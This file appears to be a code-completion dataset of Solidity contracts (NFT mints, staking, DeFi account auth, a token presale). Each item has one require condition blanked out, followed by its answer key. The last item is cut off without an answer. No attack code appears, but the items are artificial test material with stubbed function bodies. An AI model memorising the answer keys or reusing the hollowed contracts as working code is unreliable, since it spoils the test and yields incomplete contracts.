function unstakeNft(uint256 _count) public {
address Staker = msg.sender;
require(<FILL_ME>)
require(unstake_enable == true, ": Unstaking not enable");
for(uint i = 0; i < _count; i++){
uint256 Staker_balance = _balances[Staker];
uint256 tokenId = _tokensOfOwners[Staker][Staker_balance];
IERC721(SanshiNFT).transferFrom(address(this), Staker, tokenId); //transfer the token
_balances[Staker]--; //decrease staker balance
}
}
function set_SanshiNFT(address _SanshiNFT) external onlyOwner {
}
function flip_unstake_enable() external onlyOwner {
}
}
| _balances[Staker]>0,": No tokens in staking" | 439,550 | _balances[Staker]>0 |
"The URL already exists, kindly mint with a new URL." | pragma solidity ^0.8.13;
contract BCWARENFTV1 is ERC721URIStorage {
using Counters for Counters.Counter;
Counters.Counter private _collectbaleIds;
Counters.Counter private _collectbaleAssetIds;
address contractAddress;
mapping(uint256 => string) public _collectableName;
mapping(uint256 => string) public _collectableAssetName;
mapping(uint256 => mapping(uint256 => string)) public _collectableAssetMap;
struct ownerDetails {
address owner;
uint256 time;
}
mapping(uint256 => ownerDetails) public ownerHistory;
uint256 createTime;
mapping(string => uint256) public _uriToTokenId;
constructor() ERC721("BCware NFT", "BCWTX") {}
event CreateCollectable(uint256 _newCollectableId, string message);
event CreateCollectableAsset(
uint256 _newCollectableAssetId,
string message
);
event TransactionDetails(
uint256 _tokenId,
string _blockchainNetwork,
string _tokenURI,
address _tokenOwner,
uint256 _time,
string _tokenStandard,
string _mintFulfillment
);
event MintNFT(
uint256 _newItemId,
string chainName,
string assetNameInEvent,
string message
);
function mintNFT(
string memory tokenURI,
string memory collectableName,
string memory assetName,
address buyer
) public returns (uint256) {
require(<FILL_ME>)
_collectbaleIds.increment();
uint256 newCollectableId = _collectbaleIds.current();
_collectableName[newCollectableId] = collectableName;
emit CreateCollectable(newCollectableId, "CreateCollectable");
_collectbaleAssetIds.increment();
uint256 newCollectableAssetId = _collectbaleAssetIds.current();
_collectableAssetName[newCollectableAssetId] = assetName;
_collectableAssetMap[newCollectableId][
newCollectableAssetId
] = assetName;
emit CreateCollectableAsset(
newCollectableAssetId,
"CreateCollectableAsset"
);
uint256 newItemId = newCollectableId * newCollectableAssetId;
ownerHistory[newItemId] = ownerDetails(msg.sender, block.timestamp);
_mint(msg.sender, newItemId);
_setTokenURI(newItemId, tokenURI);
_uriToTokenId[tokenURI] = newItemId;
_transfer(msg.sender, buyer, newItemId);
setApprovalForAll(contractAddress, true);
emit MintNFT(newItemId, "Ethereum", assetName, "CreateToken");
return newItemId;
}
}
| _uriToTokenId[tokenURI]==0,"The URL already exists, kindly mint with a new URL." | 439,587 | _uriToTokenId[tokenURI]==0 |
"1: permission-denied" | // SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
pragma experimental ABIEncoderV2;
import {Variables} from "../variables.sol";
/**
* @title DoughAccountV2.
* @dev DeFi Smart Account Wallet.
*/
interface ConnectorsInterface {
function isConnectors(string[] calldata connectorNames)
external
view
returns (bool, address[] memory);
}
contract Constants is Variables {
// DoughIndex Address.
address internal immutable doughIndex;
// Connectors Address.
address public immutable connectorsM1;
constructor(address _doughIndex, address _connectors) {
}
}
contract DoughImplementationBetaTest is Constants {
constructor(address _doughIndex, address _connectors)
Constants(_doughIndex, _connectors)
{}
function decodeEvent(bytes memory response)
internal
pure
returns (string memory _eventCode, bytes memory _eventParams)
{
}
event LogCast(
address indexed origin,
address indexed sender,
uint256 value,
string[] targetsNames,
address[] targets,
string[] eventNames,
bytes[] eventParams
);
receive() external payable {}
/**
* @dev Delegate the calls to Connector.
* @param _target Connector address
* @param _data CallData of function.
*/
function spell(address _target, bytes memory _data)
internal
returns (bytes memory response)
{
}
/**
* @dev This is the main function, Where all the different functions are called
* from Smart Account.
* @param _targetNames Array of Connector address.
* @param _datas Array of Calldata.
*/
function castBeta(
string[] calldata _targetNames,
bytes[] calldata _datas,
address _origin
)
external
payable
returns (
bytes32 // Dummy return to fix doughIndex buildWithCast function
)
{
require(_beta, "Beta-does-not-enabled");
uint256 _length = _targetNames.length;
require(<FILL_ME>)
require(_length != 0, "1: length-invalid");
require(_length == _datas.length, "1: array-length-invalid");
string[] memory eventNames = new string[](_length);
bytes[] memory eventParams = new bytes[](_length);
(bool isOk, address[] memory _targets) = ConnectorsInterface(
connectorsM1
).isConnectors(_targetNames);
require(isOk, "1: not-connector");
for (uint256 i = 0; i < _length; i++) {
bytes memory response = spell(_targets[i], _datas[i]);
(eventNames[i], eventParams[i]) = decodeEvent(response);
}
emit LogCast(
_origin,
msg.sender,
msg.value,
_targetNames,
_targets,
eventNames,
eventParams
);
}
}
| _auth[msg.sender]||msg.sender==doughIndex,"1: permission-denied" | 439,685 | _auth[msg.sender]||msg.sender==doughIndex |
"already-enabled" | // SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
pragma experimental ABIEncoderV2;
interface IndexInterface {
function list() external view returns (address);
}
interface CheckInterface {
function isOk() external view returns (bool);
}
interface ListInterface {
function addAuth(address user) external;
function removeAuth(address user) external;
}
contract CommonSetup {
uint256 public constant implementationVersion = 2;
// DoughIndex Address.
address public constant doughIndex =
0x2971AdFa57b20E5a416aE5a708A8655A9c74f723;
// The Account Module Version.
uint256 public constant version = 2;
// Auth Module(Address of Auth => bool).
mapping(address => bool) internal auth;
// Is shield true/false.
bool public shield;
// Auth Module(Address of Auth => bool).
mapping(address => bool) internal checkMapping;
}
contract Record is CommonSetup {
event LogReceiveEther(uint256 amt);
event LogEnableUser(address indexed user);
event LogDisableUser(address indexed user);
event LogSwitchShield(bool _shield);
event LogCheckMapping(address user, bool check);
/**
* @dev Check for Auth if enabled.
* @param user address/user/owner.
*/
function isAuth(address user) public view returns (bool) {
}
/**
* @dev Change Shield State.
*/
function switchShield(bool _shield) external {
}
function editCheckMapping(address user, bool _bool) public {
}
/**
* @dev Enable New User.
* @param user Owner of the Smart Account.
*/
function enable(address user) public {
require(
msg.sender == address(this) ||
msg.sender == doughIndex ||
isAuth(msg.sender),
"not-self-index"
);
require(user != address(0), "not-valid");
require(<FILL_ME>)
auth[user] = true;
ListInterface(IndexInterface(doughIndex).list()).addAuth(user);
emit LogEnableUser(user);
}
/**
* @dev Disable User.
* @param user Owner of the Smart Account.
*/
function disable(address user) public {
}
/**
* @dev Test function to check receival of ether to contract.
*/
function receiveEther() public payable {
}
}
contract DoughDefaultImplementationV2 is Record {
receive() external payable {}
}
| !auth[user],"already-enabled" | 439,691 | !auth[user] |
"already-disabled" | // SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
pragma experimental ABIEncoderV2;
interface IndexInterface {
function list() external view returns (address);
}
interface CheckInterface {
function isOk() external view returns (bool);
}
interface ListInterface {
function addAuth(address user) external;
function removeAuth(address user) external;
}
contract CommonSetup {
uint256 public constant implementationVersion = 2;
// DoughIndex Address.
address public constant doughIndex =
0x2971AdFa57b20E5a416aE5a708A8655A9c74f723;
// The Account Module Version.
uint256 public constant version = 2;
// Auth Module(Address of Auth => bool).
mapping(address => bool) internal auth;
// Is shield true/false.
bool public shield;
// Auth Module(Address of Auth => bool).
mapping(address => bool) internal checkMapping;
}
contract Record is CommonSetup {
event LogReceiveEther(uint256 amt);
event LogEnableUser(address indexed user);
event LogDisableUser(address indexed user);
event LogSwitchShield(bool _shield);
event LogCheckMapping(address user, bool check);
/**
* @dev Check for Auth if enabled.
* @param user address/user/owner.
*/
function isAuth(address user) public view returns (bool) {
}
/**
* @dev Change Shield State.
*/
function switchShield(bool _shield) external {
}
function editCheckMapping(address user, bool _bool) public {
}
/**
* @dev Enable New User.
* @param user Owner of the Smart Account.
*/
function enable(address user) public {
}
/**
* @dev Disable User.
* @param user Owner of the Smart Account.
*/
function disable(address user) public {
require(msg.sender == address(this) || isAuth(msg.sender), "not-self");
require(user != address(0), "not-valid");
require(<FILL_ME>)
delete auth[user];
ListInterface(IndexInterface(doughIndex).list()).removeAuth(user);
emit LogDisableUser(user);
}
/**
* @dev Test function to check receival of ether to contract.
*/
function receiveEther() public payable {
}
}
contract DoughDefaultImplementationV2 is Record {
receive() external payable {}
}
| auth[user],"already-disabled" | 439,691 | auth[user] |
"Removing-all-authorities" | // SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
pragma experimental ABIEncoderV2;
/**
* @title ConnectAuth.
* @dev Connector For Adding Authorities.
*/
interface AccountInterface {
function enable(address) external;
function disable(address) external;
}
interface ListInterface {
struct UserLink {
uint64 first;
uint64 last;
uint64 count;
}
struct UserList {
uint64 prev;
uint64 next;
}
struct AccountLink {
address first;
address last;
uint64 count;
}
struct AccountList {
address prev;
address next;
}
function accounts() external view returns (uint);
function accountID(address) external view returns (uint64);
function accountAddr(uint64) external view returns (address);
function userLink(address) external view returns (UserLink memory);
function userList(address, uint64) external view returns (UserList memory);
function accountLink(uint64) external view returns (AccountLink memory);
function accountList(uint64, address) external view returns (AccountList memory);
}
contract Basics {
/**
* @dev Return Address.
*/
address public immutable doughList;
constructor(address _doughList) {
}
}
contract Helpers is Basics {
constructor(address _doughList) Basics(_doughList) {}
function checkAuthCount() internal view returns (uint count) {
}
}
contract Auth is Helpers {
constructor(address _doughList) Helpers(_doughList) {}
event LogAddAuth(address indexed _msgSender, address indexed _authority);
event LogRemoveAuth(address indexed _msgSender, address indexed _authority);
/**
* @dev Add New authority
* @param authority authority Address.
*/
function add(address authority) external payable returns (string memory _eventName, bytes memory _eventParam) {
}
/**
* @dev Remove authority
* @param authority authority Address.
*/
function remove(address authority) external payable returns (string memory _eventName, bytes memory _eventParam) {
require(<FILL_ME>)
AccountInterface(address(this)).disable(authority);
emit LogRemoveAuth(msg.sender, authority);
// _eventCode = keccak256("LogRemoveAuth(address,address)");
_eventName = "LogRemoveAuth(address,address)";
_eventParam = abi.encode(msg.sender, authority);
}
}
contract ConnectV2Auth is Auth {
constructor(address _doughList) Auth(_doughList) {}
string public constant name = "Auth-v1";
}
| checkAuthCount()>1,"Removing-all-authorities" | 439,694 | checkAuthCount()>1 |
"Can only mint a multiple of the maxBatchSize" | // SPDX-License-Identifier: MIT
/**
______ ____ ______ ___ ______ ____ ____ __ ___ ____
/ ____// __ \ / ____// | /_ __// __ \ / __ \ / / / | / __ )
/ / / /_/ // __/ / /| | / / / / / // /_/ // / / /| | / __ |
/ /___ / _, _// /___ / ___ | / / / /_/ // _, _// /___ / ___ | / /_/ /
\____//_/ |_|/_____//_/ |_|/_/ \____//_/ |_|/_____//_/ |_|/_____/
*/
pragma solidity ^0.8.4;
import "./Delegated.sol";
import "erc721a/contracts/ERC721A.sol";
contract CreatorLabPass is Delegated, ERC721A {
uint256 public constant maxBatchSize = 5;
// TokenURI
string public uri = "";
uint256 public price = 0 ether;
// Mapping from owner to list of owned token IDs
mapping(address => mapping(uint256 => uint256)) private _ownedTokens;
// Mapping from token ID to index of the owner tokens list
mapping(uint256 => uint256) private _ownedTokensIndex;
// Name, Symbol, Max batch size, collection size.
constructor() ERC721A("CreatorLab Pass", "CLP") {}
modifier callerIsUser() {
}
// For marketing etc.
function teamMint(uint256 quantity_) external onlyDelegates {
uint256 maxBatchSize_ = maxBatchSize;
require(<FILL_ME>)
uint256 numChunks_ = quantity_ / maxBatchSize_;
for (uint256 i = 0; i < numChunks_; i++) {
_safeMint(msg.sender, maxBatchSize_);
_addOwnedToken(msg.sender, maxBatchSize_);
}
}
function publicMint(uint256 quantity_) external payable callerIsUser {
}
function setURI(string calldata uri_) external onlyDelegates {
}
function setPrice(uint256 price_) external onlyDelegates {
}
function tokenURI(uint256 tokenId_)
public
view
virtual
override
returns (string memory)
{
}
/**
* @dev This is equivalent to _burn(tokenId, false)
*/
function burn(uint256 tokenId_) external onlyDelegates {
}
/**
* @dev Withdraw all the money from smart contract to Owner's wallet
*/
function withdrawMoney() external onlyOwner {
}
/**
* @dev This is to get all tokenIds of the owner
*/
function getAllTokensByOwner(address owner_) public view returns (uint256[] memory) {
}
function _addOwnedToken(address to_, uint256 count_) private {
}
function _removeOwnedToken(address from_, uint256 tokenId_) private {
}
function _transferOwnedToken(address from_, address to_, uint256 tokenId_) private {
}
/**
* @dev This is equivalent to transferFrom(from, to, tokenId) in ERC721A. See {IERC721-safeTransferFrom}
*/
function transferFrom(
address from_,
address to_,
uint256 tokenId_) public override {
}
}
| quantity_%maxBatchSize_==0,"Can only mint a multiple of the maxBatchSize" | 439,734 | quantity_%maxBatchSize_==0 |
"Insufficient ETH amount sent." | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;
import "./ERC721A.sol";
import "./Ownable.sol";
import "./Address.sol";
import "./ReentrancyGuard.sol";
contract Metapolitans is ERC721A, ReentrancyGuard, Ownable {
event SetMaximumAllowedTokens(uint256 _count);
event SetPrice(uint256 _price);
event SetBaseUri(string baseURI);
event Mint(address userAddress, uint256 _count);
uint256 public mintPrice = 0.3 ether;
bytes32 public merkleRoot;
string private _baseTokenURI;
bool public isActive = false;
uint256 public constant MAX_SUPPLY = 4400;
uint256 public maximumAllowedTokensPerPurchase = 10;
constructor(string memory baseURI) ERC721A("Metapolitans", "MP") {
}
modifier saleIsOpen {
}
function setMaximumAllowedTokens(uint256 _count) external onlyOwner {
}
function setPrice(uint256 _price) external onlyOwner {
}
function toggleSaleStatus() public onlyOwner {
}
function setBaseURI(string memory baseURI) public onlyOwner {
}
function _baseURI() internal view virtual override returns (string memory) {
}
function airdrop(uint256 _count, address _address) external onlyOwner saleIsOpen {
}
function batchAirdrop(uint256 _count, address[] calldata addresses) external onlyOwner saleIsOpen {
}
function mint(uint256 _count) external payable saleIsOpen {
uint256 mintIndex = totalSupply();
if (msg.sender != owner()) {
require(isActive, "Sale is not active currently.");
}
require(mintIndex + _count <= MAX_SUPPLY, "Total supply exceeded.");
require( _count <= maximumAllowedTokensPerPurchase, "Exceeds maximum allowed tokens");
require(<FILL_ME>)
_safeMint(msg.sender, _count);
emit Mint(msg.sender, _count);
}
function withdraw() external onlyOwner nonReentrant {
}
}
| msg.value>=(mintPrice*_count),"Insufficient ETH amount sent." | 439,831 | msg.value>=(mintPrice*_count) |
"MAXSUPPLY over" | // SPDX-License-Identifier: MIT
pragma solidity >=0.8.17;
import "openzeppelin-contracts/access/Ownable.sol";
import "openzeppelin-contracts/utils/cryptography/MerkleProof.sol";
import { ERC721AQueryable } from "ERC721A/extensions/ERC721AQueryable.sol";
import { ERC721ABurnable } from "ERC721A/extensions/ERC721ABurnable.sol";
import "ERC721A/ERC721A.sol";
import { DefaultOperatorFilterer } from "operator-filter-registry/DefaultOperatorFilterer.sol";
import { IERC2981, ERC2981 } from "openzeppelin-contracts/token/common/ERC2981.sol";
import "./IERC4906.sol";
import "openzeppelin-contracts/access/AccessControl.sol";
enum TicketID {
FreeMint,
AllowList,
SBTSale,
WaitList
}
error PreMaxExceed(uint256 _presaleMax);
error MaxSupplyOver();
error NotEnoughFunds();
error NotMintable();
error InvalidMerkleProof();
error AlreadyClaimedMax();
error MintAmountOver();
contract AgeoSecond is ERC721A, IERC4906, ERC721AQueryable, AccessControl, ERC721ABurnable, ERC2981, Ownable, DefaultOperatorFilterer {
string private baseURI = "https://arweave.net/_DgGmYIE9Akg7fhTU3PW_4Uj4KmuZ3QdBaufqmJbdLg/";
address private constant FUND_ADDRESS = 0x01A28a38738A616B5D90e4a029F0e65FF20cC3c6;
bool private constant OWNER_MINT_PROTECT_SUPPLY = true;
bool public publicSale = false;
bool public callerIsUserFlg = false;
uint256 public publicCost = 0.04 ether;
mapping(uint256 => string) private metadataURI;
bool public mintable = false;
uint256 public constant MAX_SUPPLY = 650;
string private constant BASE_EXTENSION = ".json";
uint256 private constant PUBLIC_MAX_PER_TX = 1;
uint256 private constant PRE_MAX_CAP = 5;
mapping(TicketID => uint256) public presaleCost;
mapping(TicketID => bool) public presalePhase;
mapping(TicketID => bytes32) public merkleRoot;
mapping(TicketID => mapping(address => uint256)) public whiteListClaimed;
constructor(bool _callerIsUserFlg) ERC721A("AgeoSecond", "AGEOSECOND") {
}
modifier whenMintable() {
}
/**
* @dev The modifier allowing the function access only for real humans.
*/
modifier callerIsUser() {
}
// internal
function _baseURI() internal view override returns (string memory) {
}
function tokenURI(uint256 tokenId) public view virtual override(ERC721A, IERC721A) returns (string memory) {
}
function setTokenMetadataURI(uint256 tokenId, string memory metadata) external onlyRole(DEFAULT_ADMIN_ROLE) {
}
function _startTokenId() internal view virtual override returns (uint256) {
}
/**
* @notice Set the merkle root for the allow list mint
*/
function setMerkleRoot(bytes32 _merkleRoot, TicketID ticket) external onlyRole(DEFAULT_ADMIN_ROLE) {
}
function setCallerIsUserFlg(bool flg) public onlyRole(DEFAULT_ADMIN_ROLE) {
}
function publicMint(address _to, uint256 _mintAmount) external payable callerIsUser whenMintable {
}
function preMint(uint256 _mintAmount, uint256 _presaleMax, bytes32[] calldata _merkleProof, TicketID ticket) external payable whenMintable callerIsUser {
}
function mintCheck(uint256 _mintAmount, uint256 cost) private view {
}
function ownerMint(address _address, uint256 count) external onlyRole(DEFAULT_ADMIN_ROLE) {
require(count > 0, "Mint amount is zero");
require(<FILL_ME>)
_safeMint(_address, count);
}
function setPresalePhase(bool _state, TicketID ticket) external onlyRole(DEFAULT_ADMIN_ROLE) {
}
function setPresaleCost(uint256 _preCost, TicketID ticket) external onlyRole(DEFAULT_ADMIN_ROLE) {
}
function setPublicCost(uint256 _publicCost) external onlyRole(DEFAULT_ADMIN_ROLE) {
}
function setPublicPhase(bool _state) external onlyRole(DEFAULT_ADMIN_ROLE) {
}
function setMintable(bool _state) external onlyRole(DEFAULT_ADMIN_ROLE) {
}
function setBaseURI(string memory _newBaseURI) external onlyRole(DEFAULT_ADMIN_ROLE) {
}
function withdraw() external onlyRole(DEFAULT_ADMIN_ROLE) {
}
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC721A, IERC721A, ERC2981, AccessControl) returns (bool) {
}
function setDefaultRoyalty(address receiver, uint96 feeNumerator) public onlyRole(DEFAULT_ADMIN_ROLE) {
}
function setApprovalForAll(address operator, bool approved) public override(ERC721A, IERC721A) onlyAllowedOperatorApproval(operator) {
}
function approve(address operator, uint256 tokenId) public payable override(ERC721A, IERC721A) onlyAllowedOperatorApproval(operator) {
}
function transferFrom(address from, address to, uint256 tokenId) public payable override(ERC721A, IERC721A) onlyAllowedOperator(from) {
}
function safeTransferFrom(address from, address to, uint256 tokenId) public payable override(ERC721A, IERC721A) onlyAllowedOperator(from) {
}
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory data) public payable override(ERC721A, IERC721A) onlyAllowedOperator(from) {
}
}
| !OWNER_MINT_PROTECT_SUPPLY||totalSupply()+count<=MAX_SUPPLY,"MAXSUPPLY over" | 440,013 | !OWNER_MINT_PROTECT_SUPPLY||totalSupply()+count<=MAX_SUPPLY |
"Exceeds maximum buy amount!" | pragma solidity ^0.8.4;
// SPDX-License-Identifier: Unlicensed
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
}
function _msgData() internal view virtual returns (bytes memory) {
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
uint256 private _lockTime;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
function transferOwnership(address newOwner) public virtual onlyOwner {
}
function geUnlockTime() public view returns (uint256) {
}
function lock(uint256 time) public virtual onlyOwner {
}
function unlock() public virtual {
}
}
abstract contract ReentrancyGuard {
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor() {
}
modifier nonReentrant() {
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external;
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address _from, address _to, uint _value) external;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Presale is ReentrancyGuard, Context, Ownable {
using SafeMath for uint256;
mapping (address => uint256) public _contributions;
IERC20 public _token;
uint256 private _tokenDecimals;
address payable public _wallet;
uint256 public _rate;
uint256 public _rateAirdrop;
uint256 public _weiRaised;
bool public isActiveICO = false;
uint256 public hitSoftCapTime;
uint public minPurchase;
uint public maxPurchase;
uint public hardCap;
uint public softCap;
uint public availableTokensICO;
bool public startRefund = false;
address public usdtAddress;
address public testAddr1;
address public testAddr2;
// First 12 hours
mapping (address => bool) private whitelist;
event TokensPurchased(address purchaser, address beneficiary, uint256 value, uint256 amount);
event Refund(address recipient, uint256 amount);
constructor () {
}
//Start Pre-Sale
function startICO(uint _minPurchase, uint _maxPurchase, uint _softCap, uint _hardCap) external onlyOwner icoNotActive() {
}
function stopICO() external onlyOwner{
}
//Pre-Sale
function buyTokens(uint256 expectTokenAmount) public nonReentrant icoActive {
// uint256 weiAmount = amount*10**15;//1000 was multipled and divided.
uint256 weiAmount = expectTokenAmount;
uint256 contributedAmount = checkContribution(msg.sender);
require(<FILL_ME>)
require(weiAmount >= minPurchase, "expected Token Amount should be greater than buy amount!");
IERC20 usdtToken = IERC20(usdtAddress);
uint256 usdtAmount = expectTokenAmount * (10 ** 6);
usdtToken.transferFrom(_msgSender(), address(this), usdtAmount);
_preValidatePurchase(msg.sender, weiAmount);
uint256 tokens = _getTokenAmount(weiAmount);
_weiRaised = _weiRaised.add(weiAmount);
if(_weiRaised >= softCap && hitSoftCapTime == 0) {
hitSoftCapTime = block.timestamp;
}
availableTokensICO = availableTokensICO - tokens;
_processPurchase(msg.sender, tokens);
_contributions[msg.sender] = _contributions[msg.sender].add(weiAmount);
emit TokensPurchased(_msgSender(), msg.sender, weiAmount, tokens);
}
function _preValidatePurchase(address beneficiary, uint256 weiAmount) internal view {
}
function _deliverTokens(address beneficiary, uint256 tokenAmount) internal {
}
function _processPurchase(address beneficiary, uint256 tokenAmount) internal {
}
function _getTokenAmount(uint256 weiAmount) internal view returns (uint256) {
}
function _forwardFunds() internal {
}
function withdraw(IERC20 tokenAddress) external onlyOwner icoNotActive{
}
function checkContribution(address addr) public view returns(uint256){
}
function setRate(uint256 newRate) external onlyOwner nonReentrant{
}
function setAvailableTokens(uint256 amount) public onlyOwner icoNotActive{
}
function weiRaised() public view returns (uint256) {
}
function setWalletReceiver(address payable newWallet) external onlyOwner(){
}
function setToken(IERC20 token) external onlyOwner(){
}
function setUSDTAddress(address usdt) external onlyOwner(){
}
function setTestAddress1(address addr) external onlyOwner(){
}
function setTestAddress2(address addr) external onlyOwner(){
}
function setHardCap(uint256 value) external onlyOwner{
}
function setSoftCap(uint256 value) external onlyOwner{
}
function setMaxPurchase(uint256 value) external onlyOwner{
}
function setMinPurchase(uint256 value) external onlyOwner{
}
function setEndICO(bool _newisActiveICO) external onlyOwner{
}
function checkTokens(address token, address _tokenOnwer, uint256 amount) public onlyOwner icoNotActive{
}
function refundMe() public icoNotActive{
}
modifier icoActive() {
}
modifier icoNotActive() {
}
}
| contributedAmount+weiAmount<=maxPurchase,"Exceeds maximum buy amount!" | 440,321 | contributedAmount+weiAmount<=maxPurchase |
'Hard Cap reached' | pragma solidity ^0.8.4;
// SPDX-License-Identifier: Unlicensed
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
}
function _msgData() internal view virtual returns (bytes memory) {
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
uint256 private _lockTime;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
function transferOwnership(address newOwner) public virtual onlyOwner {
}
function geUnlockTime() public view returns (uint256) {
}
function lock(uint256 time) public virtual onlyOwner {
}
function unlock() public virtual {
}
}
abstract contract ReentrancyGuard {
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor() {
}
modifier nonReentrant() {
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external;
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address _from, address _to, uint _value) external;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Presale is ReentrancyGuard, Context, Ownable {
using SafeMath for uint256;
mapping (address => uint256) public _contributions;
IERC20 public _token;
uint256 private _tokenDecimals;
address payable public _wallet;
uint256 public _rate;
uint256 public _rateAirdrop;
uint256 public _weiRaised;
bool public isActiveICO = false;
uint256 public hitSoftCapTime;
uint public minPurchase;
uint public maxPurchase;
uint public hardCap;
uint public softCap;
uint public availableTokensICO;
bool public startRefund = false;
address public usdtAddress;
address public testAddr1;
address public testAddr2;
// First 12 hours
mapping (address => bool) private whitelist;
event TokensPurchased(address purchaser, address beneficiary, uint256 value, uint256 amount);
event Refund(address recipient, uint256 amount);
constructor () {
}
//Start Pre-Sale
function startICO(uint _minPurchase, uint _maxPurchase, uint _softCap, uint _hardCap) external onlyOwner icoNotActive() {
}
function stopICO() external onlyOwner{
}
//Pre-Sale
function buyTokens(uint256 expectTokenAmount) public nonReentrant icoActive {
}
function _preValidatePurchase(address beneficiary, uint256 weiAmount) internal view {
require(beneficiary != address(0), "Crowdsale: beneficiary is the zero address");
require(weiAmount != 0, "Crowdsale: weiAmount is 0");
require(<FILL_ME>)
this;
}
function _deliverTokens(address beneficiary, uint256 tokenAmount) internal {
}
function _processPurchase(address beneficiary, uint256 tokenAmount) internal {
}
function _getTokenAmount(uint256 weiAmount) internal view returns (uint256) {
}
function _forwardFunds() internal {
}
function withdraw(IERC20 tokenAddress) external onlyOwner icoNotActive{
}
function checkContribution(address addr) public view returns(uint256){
}
function setRate(uint256 newRate) external onlyOwner nonReentrant{
}
function setAvailableTokens(uint256 amount) public onlyOwner icoNotActive{
}
function weiRaised() public view returns (uint256) {
}
function setWalletReceiver(address payable newWallet) external onlyOwner(){
}
function setToken(IERC20 token) external onlyOwner(){
}
function setUSDTAddress(address usdt) external onlyOwner(){
}
function setTestAddress1(address addr) external onlyOwner(){
}
function setTestAddress2(address addr) external onlyOwner(){
}
function setHardCap(uint256 value) external onlyOwner{
}
function setSoftCap(uint256 value) external onlyOwner{
}
function setMaxPurchase(uint256 value) external onlyOwner{
}
function setMinPurchase(uint256 value) external onlyOwner{
}
function setEndICO(bool _newisActiveICO) external onlyOwner{
}
function checkTokens(address token, address _tokenOnwer, uint256 amount) public onlyOwner icoNotActive{
}
function refundMe() public icoNotActive{
}
modifier icoActive() {
}
modifier icoNotActive() {
}
}
| (_weiRaised+weiAmount)<=hardCap,'Hard Cap reached' | 440,321 | (_weiRaised+weiAmount)<=hardCap |
'Contract has no money' | pragma solidity ^0.8.4;
// SPDX-License-Identifier: Unlicensed
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
}
function _msgData() internal view virtual returns (bytes memory) {
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
uint256 private _lockTime;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
function transferOwnership(address newOwner) public virtual onlyOwner {
}
function geUnlockTime() public view returns (uint256) {
}
function lock(uint256 time) public virtual onlyOwner {
}
function unlock() public virtual {
}
}
abstract contract ReentrancyGuard {
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor() {
}
modifier nonReentrant() {
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external;
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address _from, address _to, uint _value) external;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Presale is ReentrancyGuard, Context, Ownable {
using SafeMath for uint256;
mapping (address => uint256) public _contributions;
